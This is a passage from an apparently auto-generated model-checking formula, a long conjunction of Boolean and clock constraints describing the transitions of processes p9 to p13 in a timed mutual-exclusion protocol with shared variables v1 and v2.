!_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && ( !_x_p13_l1)))))))))))) && ((_x_p13_c <= _x_proposed13) || ( !(((( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (_x_p13_l2 && (( !_x_p13_l0) && ( !_x_p13_l1))))) || ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && _x_p13_l1))) || (_x_p13_l3 && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1))))))))) && (((((((p13_l0 == _x_p13_l0) && (p13_l1 == _x_p13_l1)) && (p13_l2 == _x_p13_l2)) && (p13_l3 == _x_p13_l3)) && ((delta + (p13_c + (-1.0 * _x_p13_c))) == 0.0)) && (proposed13 == _x_proposed13)) || ( !(( !(delta <= 0.0)) || ( !p13_evt))))) && (((((v1 == 0) && (( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && ( !_x_p13_l1))))) && ((v2 == _x_v2) && (_x_p13_c == 0.0))) && ((v1 == _x_v1) && (proposed13 == _x_proposed13))) || ( !((( !p13_l3) && (( !p13_l2) && (( !p13_l0) && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && (((proposed13 == _x_proposed13) && (((v2 == _x_v2) && (_x_p13_c == 0.0)) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l1 && ( !_x_p13_l0)))) && (_x_v1 == 14)))) || ( !((( !p13_l3) && (( !p13_l2) && (p13_l0 && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && _x_p13_l1)))) && (p13_c == _x_p13_c))) || ( !((( !p13_l3) && (( !p13_l2) && (p13_l1 && ( !p13_l0)))) && ((delta == 0.0) && p13_evt))))) && (((proposed13 == _x_proposed13) && ( !(v1 == 14))) || ( !(((delta == 0.0) && p13_evt) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) && (( !p13_l3) && (( !p13_l2) && (p13_l1 && ( !p13_l0))))))))) && ((((v1 == 14) && ( !(p13_c <= max_prop))) && ( !(proposed13 <= _x_proposed13))) || ( !(((delta == 0.0) && p13_evt) && ((( !p13_l3) && (( !p13_l2) && (p13_l1 && ( !p13_l0)))) && (( !_x_p13_l3) && (( !_x_p13_l2) && (_x_p13_l0 && _x_p13_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed13 == _x_proposed13) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (_x_p13_l2 && (( !_x_p13_l0) && ( !_x_p13_l1))))))) || ( !((( !p13_l3) && (( !p13_l2) && (p13_l0 && p13_l1))) && ((delta == 0.0) && p13_evt))))) && ((v2 && (p13_c == _x_p13_c)) || ( !(((delta == 0.0) && p13_evt) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) && (( !p13_l3) && (( !p13_l2) && (p13_l0 && p13_l1)))))))) && ((( !v2) && (_x_p13_c == 0.0)) || ( !(((delta == 0.0) && p13_evt) && ((( !p13_l3) && (( !p13_l2) && (p13_l0 && p13_l1))) && (( !_x_p13_l3) && (_x_p13_l2 && (( !_x_p13_l0) && ( !_x_p13_l1))))))))) && ((((v1 == _x_v1) && (proposed13 == _x_proposed13)) && ((_x_p13_c == 0.0) && (_x_v2 && (( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && ( !_x_p13_l1))))))) || ( !((( !p13_l3) && (p13_l2 && (( !p13_l0) && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && (((proposed13 == _x_proposed13) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p13_c == _x_p13_c) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) || (( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l1 && ( !_x_p13_l0)))))))) || ( !((( !p13_l3) && (p13_l2 && (p13_l0 && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && (( !(v1 == 14)) || ( !(((delta == 0.0) && p13_evt) && ((( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1)))) && (( !p13_l3) && (p13_l2 && (p13_l0 && ( !p13_l1))))))))) && ((v1 == 14) || ( !(((delta == 0.0) && p13_evt) && ((( !p13_l3) && (p13_l2 && (p13_l0 && ( !p13_l1)))) && (( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l1 && ( !_x_p13_l0))))))))) && (((proposed13 == _x_proposed13) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p13_l3) && (_x_p13_l2 && (_x_p13_l0 && _x_p13_l1))) && (_x_p13_c == 0.0)))) || ( !((( !p13_l3) && (p13_l2 && (p13_l1 && ( !p13_l0)))) && ((delta == 0.0) && p13_evt))))) && (((proposed13 == _x_proposed13) && ((( !_x_v2) && (_x_p13_l3 && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1))))) && ((v1 == _x_v1) && (_x_p13_c == 0.0)))) || ( !((( !p13_l3) && (p13_l2 && (p13_l0 && p13_l1))) && ((delta == 0.0) && p13_evt))))) && (((proposed13 == _x_proposed13) && (((_x_v1 == 0) && (( !_x_p13_l3) && (( !_x_p13_l2) && (( !_x_p13_l0) && ( !_x_p13_l1))))) && ((v2 == _x_v2) && (p13_c == _x_p13_c)))) || ( !((p13_l3 && (( !p13_l2) && (( !p13_l0) && ( !p13_l1)))) && ((delta == 0.0) && p13_evt))))) && ((((((((((((((((((((_x_p12_l3 && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && _x_p12_l1))) || ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l1 && ( !_x_p12_l0)))) || ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && ( !_x_p12_l1)))) || ((( !_x_p12_l3) && (_x_p12_l2 && (( !_x_p12_l0) && ( !_x_p12_l1)))) || ((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && _x_p12_l1))) || ((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l1 && ( !_x_p12_l0)))) || ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && ( !_x_p12_l1)))))))))))) && ((_x_p12_c <= _x_proposed12) || ( !(((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (_x_p12_l2 && (( !_x_p12_l0) && ( !_x_p12_l1))))) || ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && _x_p12_l1))) || (_x_p12_l3 && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1))))))))) && (((((((p12_l0 == _x_p12_l0) && (p12_l1 == _x_p12_l1)) && (p12_l2 == _x_p12_l2)) && (p12_l3 == _x_p12_l3)) && ((delta + (p12_c + (-1.0 * _x_p12_c))) == 0.0)) && (proposed12 == _x_proposed12)) || ( !(( !(delta <= 0.0)) || ( !p12_evt))))) && (((((v1 == 0) && (( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && ( !_x_p12_l1))))) && ((v2 == _x_v2) && (_x_p12_c == 0.0))) && ((v1 == _x_v1) && (proposed12 == _x_proposed12))) || ( !((( !p12_l3) && (( !p12_l2) && (( !p12_l0) && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && (((proposed12 == _x_proposed12) && (((v2 == _x_v2) && (_x_p12_c == 0.0)) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l1 && ( !_x_p12_l0)))) && (_x_v1 == 13)))) || ( !((( !p12_l3) && (( !p12_l2) && (p12_l0 && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && _x_p12_l1)))) && (p12_c == _x_p12_c))) || ( !((( !p12_l3) && (( !p12_l2) && (p12_l1 && ( !p12_l0)))) && ((delta == 0.0) && p12_evt))))) && (((proposed12 == _x_proposed12) && ( !(v1 == 13))) || ( !(((delta == 0.0) && p12_evt) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) && (( !p12_l3) && (( !p12_l2) && (p12_l1 && ( !p12_l0))))))))) && ((((v1 == 13) && ( !(p12_c <= max_prop))) && ( !(proposed12 <= _x_proposed12))) || ( !(((delta == 0.0) && p12_evt) && ((( !p12_l3) && (( !p12_l2) && (p12_l1 && ( !p12_l0)))) && (( !_x_p12_l3) && (( !_x_p12_l2) && (_x_p12_l0 && _x_p12_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed12 == _x_proposed12) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (_x_p12_l2 && (( !_x_p12_l0) && ( !_x_p12_l1))))))) || ( !((( !p12_l3) && (( !p12_l2) && (p12_l0 && p12_l1))) && ((delta == 0.0) && p12_evt))))) && ((v2 && (p12_c == _x_p12_c)) || ( !(((delta == 0.0) && p12_evt) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) && (( !p12_l3) && (( !p12_l2) && (p12_l0 && p12_l1)))))))) && ((( !v2) && (_x_p12_c == 0.0)) || ( !(((delta == 0.0) && p12_evt) && ((( !p12_l3) && (( !p12_l2) && (p12_l0 && p12_l1))) && (( !_x_p12_l3) && (_x_p12_l2 && (( !_x_p12_l0) && ( !_x_p12_l1))))))))) && ((((v1 == _x_v1) && (proposed12 == _x_proposed12)) && ((_x_p12_c == 0.0) && (_x_v2 && (( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && ( !_x_p12_l1))))))) || ( !((( !p12_l3) && (p12_l2 && (( !p12_l0) && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && (((proposed12 == _x_proposed12) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p12_c == _x_p12_c) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) || (( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l1 && ( !_x_p12_l0)))))))) || ( !((( !p12_l3) && (p12_l2 && (p12_l0 && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && (( !(v1 == 13)) || ( !(((delta == 0.0) && p12_evt) && ((( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1)))) && (( !p12_l3) && (p12_l2 && (p12_l0 && ( !p12_l1))))))))) && ((v1 == 13) || ( !(((delta == 0.0) && p12_evt) && ((( !p12_l3) && (p12_l2 && (p12_l0 && ( !p12_l1)))) && (( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l1 && ( !_x_p12_l0))))))))) && (((proposed12 == _x_proposed12) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p12_l3) && (_x_p12_l2 && (_x_p12_l0 && _x_p12_l1))) && (_x_p12_c == 0.0)))) || ( !((( !p12_l3) && (p12_l2 && (p12_l1 && ( !p12_l0)))) && ((delta == 0.0) && p12_evt))))) && (((proposed12 == _x_proposed12) && ((( !_x_v2) && (_x_p12_l3 && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1))))) && ((v1 == _x_v1) && (_x_p12_c == 0.0)))) || ( !((( !p12_l3) && (p12_l2 && (p12_l0 && p12_l1))) && ((delta == 0.0) && p12_evt))))) && (((proposed12 == _x_proposed12) && (((_x_v1 == 0) && (( !_x_p12_l3) && (( !_x_p12_l2) && (( !_x_p12_l0) && ( !_x_p12_l1))))) && ((v2 == _x_v2) && (p12_c == _x_p12_c)))) || ( !((p12_l3 && (( !p12_l2) && (( !p12_l0) && ( !p12_l1)))) && ((delta == 0.0) && p12_evt))))) && ((((((((((((((((((((_x_p11_l3 && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && _x_p11_l1))) || ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l1 && ( !_x_p11_l0)))) || ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && ( !_x_p11_l1)))) || ((( !_x_p11_l3) && (_x_p11_l2 && (( !_x_p11_l0) && ( !_x_p11_l1)))) || ((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && _x_p11_l1))) || ((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l1 && ( !_x_p11_l0)))) || ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && ( !_x_p11_l1)))))))))))) && ((_x_p11_c <= _x_proposed11) || ( !(((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (_x_p11_l2 && (( !_x_p11_l0) && ( !_x_p11_l1))))) || ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && _x_p11_l1))) || (_x_p11_l3 && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1))))))))) && (((((((p11_l0 == _x_p11_l0) && (p11_l1 == _x_p11_l1)) && (p11_l2 == _x_p11_l2)) && (p11_l3 == _x_p11_l3)) && ((delta + (p11_c + (-1.0 * _x_p11_c))) == 0.0)) && (proposed11 == _x_proposed11)) || ( !(( !(delta <= 0.0)) || ( !p11_evt))))) && (((((v1 == 0) && (( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && ( !_x_p11_l1))))) && ((v2 == _x_v2) && (_x_p11_c == 0.0))) && ((v1 == _x_v1) && (proposed11 == _x_proposed11))) || ( !((( !p11_l3) && (( !p11_l2) && (( !p11_l0) && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && (((proposed11 == _x_proposed11) && (((v2 == _x_v2) && (_x_p11_c == 0.0)) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l1 && ( !_x_p11_l0)))) && (_x_v1 == 12)))) || ( !((( !p11_l3) && (( !p11_l2) && (p11_l0 && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && _x_p11_l1)))) && (p11_c == _x_p11_c))) || ( !((( !p11_l3) && (( !p11_l2) && (p11_l1 && ( !p11_l0)))) && ((delta == 0.0) && p11_evt))))) && (((proposed11 == _x_proposed11) && ( !(v1 == 12))) || ( !(((delta == 0.0) && p11_evt) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) && (( !p11_l3) && (( !p11_l2) && (p11_l1 && ( !p11_l0))))))))) && ((((v1 == 12) && ( !(p11_c <= max_prop))) && ( !(proposed11 <= _x_proposed11))) || ( !(((delta == 0.0) && p11_evt) && ((( !p11_l3) && (( !p11_l2) && (p11_l1 && ( !p11_l0)))) && (( !_x_p11_l3) && (( !_x_p11_l2) && (_x_p11_l0 && _x_p11_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed11 == _x_proposed11) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (_x_p11_l2 && (( !_x_p11_l0) && ( !_x_p11_l1))))))) || ( !((( !p11_l3) && (( !p11_l2) && (p11_l0 && p11_l1))) && ((delta == 0.0) && p11_evt))))) && ((v2 && (p11_c == _x_p11_c)) || ( !(((delta == 0.0) && p11_evt) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) && (( !p11_l3) && (( !p11_l2) && (p11_l0 && p11_l1)))))))) && ((( !v2) && (_x_p11_c == 0.0)) || ( !(((delta == 0.0) && p11_evt) && ((( !p11_l3) && (( !p11_l2) && (p11_l0 && p11_l1))) && (( !_x_p11_l3) && (_x_p11_l2 && (( !_x_p11_l0) && ( !_x_p11_l1))))))))) && ((((v1 == _x_v1) && (proposed11 == _x_proposed11)) && ((_x_p11_c == 0.0) && (_x_v2 && (( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && ( !_x_p11_l1))))))) || ( !((( !p11_l3) && (p11_l2 && (( !p11_l0) && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && (((proposed11 == _x_proposed11) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p11_c == _x_p11_c) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) || (( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l1 && ( !_x_p11_l0)))))))) || ( !((( !p11_l3) && (p11_l2 && (p11_l0 && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && (( !(v1 == 12)) || ( !(((delta == 0.0) && p11_evt) && ((( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1)))) && (( !p11_l3) && (p11_l2 && (p11_l0 && ( !p11_l1))))))))) && ((v1 == 12) || ( !(((delta == 0.0) && p11_evt) && ((( !p11_l3) && (p11_l2 && (p11_l0 && ( !p11_l1)))) && (( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l1 && ( !_x_p11_l0))))))))) && (((proposed11 == _x_proposed11) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p11_l3) && (_x_p11_l2 && (_x_p11_l0 && _x_p11_l1))) && (_x_p11_c == 0.0)))) || ( !((( !p11_l3) && (p11_l2 && (p11_l1 && ( !p11_l0)))) && ((delta == 0.0) && p11_evt))))) && (((proposed11 == _x_proposed11) && ((( !_x_v2) && (_x_p11_l3 && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1))))) && ((v1 == _x_v1) && (_x_p11_c == 0.0)))) || ( !((( !p11_l3) && (p11_l2 && (p11_l0 && p11_l1))) && ((delta == 0.0) && p11_evt))))) && (((proposed11 == _x_proposed11) && (((_x_v1 == 0) && (( !_x_p11_l3) && (( !_x_p11_l2) && (( !_x_p11_l0) && ( !_x_p11_l1))))) && ((v2 == _x_v2) && (p11_c == _x_p11_c)))) || ( !((p11_l3 && (( !p11_l2) && (( !p11_l0) && ( !p11_l1)))) && ((delta == 0.0) && p11_evt))))) && ((((((((((((((((((((_x_p10_l3 && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) || ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l0 && _x_p10_l1))) || ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l1 && ( !_x_p10_l0)))) || ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l0 && ( !_x_p10_l1)))) || ((( !_x_p10_l3) && (_x_p10_l2 && (( !_x_p10_l0) && ( !_x_p10_l1)))) || ((( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && _x_p10_l1))) || ((( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l1 && ( !_x_p10_l0)))) || ((( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) || (( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && ( !_x_p10_l1)))))))))))) && ((_x_p10_c <= _x_proposed10) || ( !(((( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && ( !_x_p10_l1)))) || (( !_x_p10_l3) && (_x_p10_l2 && (( !_x_p10_l0) && ( !_x_p10_l1))))) || ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l0 && _x_p10_l1))) || (_x_p10_l3 && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1))))))))) && (((((((p10_l0 == _x_p10_l0) && (p10_l1 == _x_p10_l1)) && (p10_l2 == _x_p10_l2)) && (p10_l3 == _x_p10_l3)) && ((delta + (p10_c + (-1.0 * _x_p10_c))) == 0.0)) && (proposed10 == _x_proposed10)) || ( !(( !(delta <= 0.0)) || ( !p10_evt))))) && (((((v1 == 0) && (( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && ( !_x_p10_l1))))) && ((v2 == _x_v2) && (_x_p10_c == 0.0))) && ((v1 == _x_v1) && (proposed10 == _x_proposed10))) || ( !((( !p10_l3) && (( !p10_l2) && (( !p10_l0) && ( !p10_l1)))) && ((delta == 0.0) && p10_evt))))) && (((proposed10 == _x_proposed10) && (((v2 == _x_v2) && (_x_p10_c == 0.0)) && ((( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l1 && ( !_x_p10_l0)))) && (_x_v1 == 11)))) || ( !((( !p10_l3) && (( !p10_l2) && (p10_l0 && ( !p10_l1)))) && ((delta == 0.0) && p10_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) || (( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && _x_p10_l1)))) && (p10_c == _x_p10_c))) || ( !((( !p10_l3) && (( !p10_l2) && (p10_l1 && ( !p10_l0)))) && ((delta == 0.0) && p10_evt))))) && (((proposed10 == _x_proposed10) && ( !(v1 == 11))) || ( !(((delta == 0.0) && p10_evt) && ((( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) && (( !p10_l3) && (( !p10_l2) && (p10_l1 && ( !p10_l0))))))))) && ((((v1 == 11) && ( !(p10_c <= max_prop))) && ( !(proposed10 <= _x_proposed10))) || ( !(((delta == 0.0) && p10_evt) && ((( !p10_l3) && (( !p10_l2) && (p10_l1 && ( !p10_l0)))) && (( !_x_p10_l3) && (( !_x_p10_l2) && (_x_p10_l0 && _x_p10_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed10 == _x_proposed10) && ((( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) || (( !_x_p10_l3) && (_x_p10_l2 && (( !_x_p10_l0) && ( !_x_p10_l1))))))) || ( !((( !p10_l3) && (( !p10_l2) && (p10_l0 && p10_l1))) && ((delta == 0.0) && p10_evt))))) && ((v2 && (p10_c == _x_p10_c)) || ( !(((delta == 0.0) && p10_evt) && ((( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) && (( !p10_l3) && (( !p10_l2) && (p10_l0 && p10_l1)))))))) && ((( !v2) && (_x_p10_c == 0.0)) || ( !(((delta == 0.0) && p10_evt) && ((( !p10_l3) && (( !p10_l2) && (p10_l0 && p10_l1))) && (( !_x_p10_l3) && (_x_p10_l2 && (( !_x_p10_l0) && ( !_x_p10_l1))))))))) && ((((v1 == _x_v1) && (proposed10 == _x_proposed10)) && ((_x_p10_c == 0.0) && (_x_v2 && (( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l0 && ( !_x_p10_l1))))))) || ( !((( !p10_l3) && (p10_l2 && (( !p10_l0) && ( !p10_l1)))) && ((delta == 0.0) && p10_evt))))) && (((proposed10 == _x_proposed10) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p10_c == _x_p10_c) && ((( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) || (( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l1 && ( !_x_p10_l0)))))))) || ( !((( !p10_l3) && (p10_l2 && (p10_l0 && ( !p10_l1)))) && ((delta == 0.0) && p10_evt))))) && (( !(v1 == 11)) || ( !(((delta == 0.0) && p10_evt) && ((( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1)))) && (( !p10_l3) && (p10_l2 && (p10_l0 && ( !p10_l1))))))))) && ((v1 == 11) || ( !(((delta == 0.0) && p10_evt) && ((( !p10_l3) && (p10_l2 && (p10_l0 && ( !p10_l1)))) && (( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l1 && ( !_x_p10_l0))))))))) && (((proposed10 == _x_proposed10) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p10_l3) && (_x_p10_l2 && (_x_p10_l0 && _x_p10_l1))) && (_x_p10_c == 0.0)))) || ( !((( !p10_l3) && (p10_l2 && (p10_l1 && ( !p10_l0)))) && ((delta == 0.0) && p10_evt))))) && (((proposed10 == _x_proposed10) && ((( !_x_v2) && (_x_p10_l3 && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1))))) && ((v1 == _x_v1) && (_x_p10_c == 0.0)))) || ( !((( !p10_l3) && (p10_l2 && (p10_l0 && p10_l1))) && ((delta == 0.0) && p10_evt))))) && (((proposed10 == _x_proposed10) && (((_x_v1 == 0) && (( !_x_p10_l3) && (( !_x_p10_l2) && (( !_x_p10_l0) && ( !_x_p10_l1))))) && ((v2 == _x_v2) && (p10_c == _x_p10_c)))) || ( !((p10_l3 && (( !p10_l2) && (( !p10_l0) && ( !p10_l1)))) && ((delta == 0.0) && p10_evt))))) && ((((((((((((((((((((_x_p9_l3 && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1)))) || ((( !_x_p9_l3) && (_x_p9_l2 && (_x_p9_l0 && _x_p9_l1))) || ((( !_x_p9_l3) && (_x_p9_l2 && (_x_p9_l1 && ( !_x_p9_l0)))) || ((( !_x_p9_l3) && (_x_p9_l2 && (_x_p9_l0 && ( !_x_p9_l1)))) || ((( !_x_p9_l3) && (_x_p9_l2 && (( !_x_p9_l0) && ( !_x_p9_l1)))) || ((( !_x_p9_l3) && (( !_x_p9_l2) && (_x_p9_l0 && _x_p9_l1))) || ((( !_x_p9_l3) && (( !_x_p9_l2) && (_x_p9_l1 && ( !_x_p9_l0)))) || ((( !_x_p9_l3) && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1)))) || (( !_x_p9_l3) && (( !_x_p9_l2) && (_x_p9_l0 && ( !_x_p9_l1)))))))))))) && ((_x_p9_c <= _x_proposed9) || ( !(((( !_x_p9_l3) && (( !_x_p9_l2) && (_x_p9_l0 && ( !_x_p9_l1)))) || (( !_x_p9_l3) && (_x_p9_l2 && (( !_x_p9_l0) && ( !_x_p9_l1))))) || ((( !_x_p9_l3) && (_x_p9_l2 && (_x_p9_l0 && _x_p9_l1))) || (_x_p9_l3 && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1))))))))) && (((((((p9_l0 == _x_p9_l0) && (p9_l1 == _x_p9_l1)) && (p9_l2 == _x_p9_l2)) && (p9_l3 == _x_p9_l3)) && ((delta + (p9_c + (-1.0 * _x_p9_c))) == 0.0)) && (proposed9 == _x_proposed9)) || ( !(( !(delta <= 0.0)) || ( !p9_evt))))) && (((((v1 == 0) && (( !_x_p9_l3) && (( !_x_p9_l2) && (_x_p9_l0 && ( !_x_p9_l1))))) && ((v2 == _x_v2) && (_x_p9_c == 0.0))) && ((v1 == _x_v1) && (proposed9 == _x_proposed9))) || ( !((( !p9_l3) && (( !p9_l2) && (( !p9_l0) && ( !p9_l1)))) && ((delta == 0.0) && p9_evt))))) && (((proposed9 == _x_proposed9) && (((v2 == _x_v2) && (_x_p9_c == 0.0)) && ((( !_x_p9_l3) && (( !_x_p9_l2) && (_x_p9_l1 && ( !_x_p9_l0)))) && (_x_v1 == 10)))) || ( !((( !p9_l3) && (( !p9_l2) && (p9_l0 && ( !p9_l1)))) && ((delta == 0.0) && p9_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p9_l3) && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1)))) || (( !_x_p9_l3) && (( !_x_p9_l2) && (_x_p9_l0 && _x_p9_l1)))) && (p9_c == _x_p9_c))) || ( !((( !p9_l3) && (( !p9_l2) && (p9_l1 && ( !p9_l0)))) && ((delta == 0.0) && p9_evt))))) && (((proposed9 == _x_proposed9) && ( !(v1 == 10))) || ( !(((delta == 0.0) && p9_evt) && ((( !_x_p9_l3) && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1)))) && (( !p9_l3) && (( !p9_l2) && (p9_l1 && ( !p9_l0))))))))) && ((((v1 == 10) && ( !(p9_c <= max_prop))) && ( !(proposed9 <= _x_proposed9))) || ( !(((delta == 0.0) && p9_evt) && ((( !p9_l3) && (( !p9_l2) && (p9_l1 && ( !p9_l0)))) && (( !_x_p9_l3) && (( !_x_p9_l2) && (_x_p9_l0 && _x_p9_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed9 == _x_proposed9) && ((( !_x_p9_l3) && (( 